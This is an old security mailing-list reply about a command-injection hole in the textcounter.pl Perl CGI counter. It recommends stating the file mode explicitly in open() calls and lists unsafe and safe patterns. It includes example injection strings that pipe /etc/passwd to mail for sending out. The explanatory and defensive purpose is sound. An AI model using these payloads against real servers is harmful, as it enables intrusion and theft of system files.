Re: textcounter.pl (alternate fix)

[andrew () SQUIZ CO NZ (Andrew McNaughton)]

>             Hi,
>
>   I've found a serious problem in textcounter.pl script that enable
> everybody to execute commands on your system with the same rights as the
> httpd daemon.
>   Program was created by Matt Wright (mattw () worldwidemart com) and
> has a "Last Modified Date" at 5/10/96. You can find it at
> http://www.worldwidemart.com/scripts/.
>
>   The counter use the enviroment variable DOCUMENT_URI to
> create/read/update a file where it keeps the hit count. There is NO test
> for shell metacharacters, so you can easily put something evil, that will
> make PERL to execute it ...
>   This is the two lines responsible with the problem ...
>
>   if (-e "$data_dir$count_page") {
>      open(COUNT,"$data_dir$count_page");
>    ....
>   }


I reccomend the original posters fix ahead of, or perhaps in combination
with my own.  My purpose in writing this is to point out that the
vulnerability fits a general class of problems which is to perl what the
buffer overflow is to c.

I find that in order to establish a script's vulnerability or otherwise,
it's usually easier to work back from the danger points in the scripts
interaction with the system rather than working forward from the untrusted
input.  Fixing a problem should involve tightening both ends.

grep -R open /home/site/cgi-bin

This is the first thing I look for when evaluating a perl cgi script's
security.  An open command with the file mode not explicitly set.

$evil1 = "|cat /etc/passwd | mail foo () bar com";
$evil1 = "cat /etc/passwd | mail foo () bar com|";

open (FILE, $evil);              # unsafe
open (FILE, "$evil");            # unsafe
open (FILE, "/dir/$evil);        # unsafe
open (FILE, "$evil.suffix);      # unsafe

open (FILE, "/dir/$evil.suffix); # safe but I don't like it
open (FILE, "<$evil.suffix);     # safe
open (FILE, ">$evil.suffix);     # safe
open (FILE, "+>$evil.suffix);    # safe


Always be explicit about file  read/write/pipe mode when opening files with
perl.


ie this is an alternative fix:

      open(COUNT,"$data_dir$count_page");
to
      open(COUNT,"<$data_dir$count_page");


This fix on it's own means that you get evidence in the file names of
anyone trying to exploit the script.  I don't reccommend it though.

The fix I present has the undesirable result that it means the user can
create files with dangerous file names - the file gets created, and then
someone comes along and does a "rm *". and that filename with a pipe
character and evil command executes.  This fix is not a good substitute for
the original, but as a practice it substantially reduces potential for
exploits.


Andrew McNaughton

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Andrew McNaughton                                          =
 ++64 4 389 6891                Any sufficiently advanced  =
  andrew () squiz co nz             bug is indistinguishable  =
    http://www.newsroom.co         from a feature.         =
                                       -- Rich Kulawiec    =